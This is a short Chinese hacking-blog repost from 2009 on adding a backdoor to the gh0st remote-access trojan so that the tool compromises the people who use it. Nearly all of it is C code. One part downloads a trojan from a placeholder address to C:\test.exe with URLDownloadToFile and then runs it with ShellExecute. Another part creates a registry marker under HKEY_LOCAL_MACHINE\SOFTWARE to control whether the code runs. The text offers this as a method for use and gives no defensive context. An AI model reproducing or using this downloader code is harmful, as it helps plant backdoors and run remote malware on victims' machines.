gh0st黑吃黑加后门方法

2009-10-11 10:26 928 0

摘要: hacknote.com 加后门方法： 1. 下载程序 2. if 电脑重启以上运行 c 代码 //--------------------------------...

关键词： nbsp HKEY NULL include DWORD SOFTWARE MACHINE 不要 test ShellExecute

hacknote.com 加后门方法： 1. 下载程序 2. if 电脑重启以上运行 c 代码 //------------------------------------ #include<windows.h> #include<urlmon.h> //这个可以不要 #include<process.h> //这个可以不要 #include<Shellapi.h> //这个是对ShellExecute的定义 #pragma comment (lib,"Urlmon.lib") //这个也可以不要，有DLL可以用 int main() { URLDownloadToFile(NULL,"木马地址","C:\test.exe",0,NULL); //下载到C:\test.exe ShellExecute(0,"open","c:\test.exe",NULL,NULL,SW_SHOW); //执行test.exe return 0; } //----------------------2 HKEY hKey; DWORD dw; DWORD dwData = 0; if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\tw67waa", 0L,KEY_ALL_ACCESS,&hKey) != ERROR_SUCCESS) //如果存在就执行下面代码 { // RegCreateKey(HKEY_LOCAL_MACHINE, "SOFTWARE\tttjgf",&hKey); RegCreateKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\tw67waa",0L,NULL,REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS,NULL,&hKey,&dw); // RegSetValueEx(hKey, "hello", 0, REG_DWORD, (LPBYTE) &dwData,sizeof(DWORD)); // file(); } else{ // file(); }

声明：文章版权归原作者所有部分文章转自互联网如有侵权请联系 [邮箱地址] 删除